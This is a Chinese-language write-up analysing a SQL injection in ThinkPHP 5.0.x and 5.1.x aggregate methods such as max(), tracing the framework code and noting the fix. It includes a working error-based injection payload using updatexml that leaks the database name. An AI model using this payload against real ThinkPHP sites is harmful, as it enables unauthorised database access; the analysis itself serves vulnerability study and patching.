前言
这次的SQL注入问题在于使用了mysql的聚合函数:
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
composer create-project topthink/think=5.1.25 thinkphp5.1.25
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.25"
},
composer update
index控制器:
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
记得开启app_debug和app_trace。
分析
有一说一这次的SQL注入也挺离谱的,就跟正常的SQL注入没什么区别,完全感觉不到thinkphp对输入的参数进行了一一定的过滤处理。
你就正常的查询一下:?options=id
看一下SQL语句:
SELECT MAX(`id`) AS tp_max FROM `users` LIMIT 1
输入的id是放到了MAX(``)里面,尝试闭合一下前面,注释后面:
?options=id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users%23
纯小白的话,不看tp具体的代码实现,只是单纯的进行SQL注入的测试同样可以找到这个漏洞。
具体分析一下tp的代码。这个SQL注入的分析相当来说还是很简单的。直接跟进max()方法:
这里的$field
就是我们传入的options的值:
跟进一下$this->aggregate()
,在623行得到查询结果,继续跟进$this->connection->aggregate()
方法:
看到了一个非常熟悉的parseKey方法,之前遇到过几次了,里面的很多代码我们传入的payload其实根本用不到,第三个参数传进了true,因此这个函数将会在$field
外面加一层双引号,然后再字符串拼接。
/**
* 得到某个字段的值
* @access public
* @param Query $query 查询对象
* @param string $aggregate 聚合方法
* @param string $field 字段名
* @return mixed
*/
public function aggregate(Query $query, $aggregate, $field)
{
$field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);
return $this->value($query, $field, 0);
}
这里得到的$field
将是这样:
MAX(`id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users#`) AS tp_max
这里可以直接闭合,但是我们还不清楚这个字符串后面是不是直接替换到tp的那个SQL语句的模板中,继续跟进一下value方法,只关注到生成SQL语句的部分:
/**
* 得到某个字段的值
* @access public
* @param Query $query 查询对象
* @param string $field 字段名
* @param bool $default 默认值
* @return mixed
*/
public function value(Query $query, $field, $default = null)
{
$options = $query->getOptions();
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
$cache = $options['cache'];
$result = $this->getCacheData($query, $cache, null, $key);
if (false !== $result) {
return $result;
}
}
if (isset($options['field'])) {
$query->removeOption('field');
}
if (is_string($field)) {
$field = array_map('trim', explode(',', $field));
}
$query->setOption('field', $field);
$query->setOption('limit', 1);
// 生成查询SQL
$sql = $this->builder->select($query);
在$field = array_map('trim', explode(',', $field));
这里把传入的$field
按逗号分成数组了,我心里一凉,不知道后面会怎么处理:
跟进到$this->builder->select()
方法,还是老样子:
/**
* 生成查询SQL
* @access public
* @param Query $query 查询对象
* @return string
*/
public function select(Query $query)
{
$options = $query->getOptions();
return str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($query, $options['table']),
$this->parseDistinct($query, $options['distinct']),
$this->parseField($query, $options['field']),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseGroup($query, $options['group']),
$this->parseHaving($query, $options['having']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseUnion($query, $options['union']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
$this->parseForce($query, $options['force']),
],
$this->selectSql);
}
跟进parseField()方法:
/**
* field分析
* @access protected
* @param Query $query 查询对象
* @param mixed $fields 字段名
* @return string
*/
protected function parseField(Query $query, $fields)
{
if ('*' == $fields || empty($fields)) {
$fieldsStr = '*';
} elseif (is_array($fields)) {
// 支持 'field1'=>'field2' 这样的字段别名定义
$array = [];
foreach ($fields as $key => $field) {
if (!is_numeric($key)) {
$array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
} else {
$array[] = $this->parseKey($query, $field);
}
}
$fieldsStr = implode(',', $array);
}
return $fieldsStr;
}
其实说白了就这几行代码:
foreach ($fields as $key => $field) {
......
$array[] = $this->parseKey($query, $field);
......
$fieldsStr = implode(',', $array);
这里还是parseKey,但是因为传入的$strict
不是true,加上里面的其他if都满足不了,最终就是返回自己return $key;
,所以parseKey并无影响,最终再把数组以逗号分隔来转化成字符串,其实还是相当于没处理:
MAX(`id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users#`) AS tp_max
之后是SQL模板语句的替换,这样就成功闭合了前面,注释了后面,然后SQL语句再执行,最后产生的SQL语句如下:
SELECT MAX(`id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1
成功SQL注入,整个过程还是比较清晰简单的。
修复
更新了parseKey方法,匹配到不是字母,点,星号的就会抛出异常。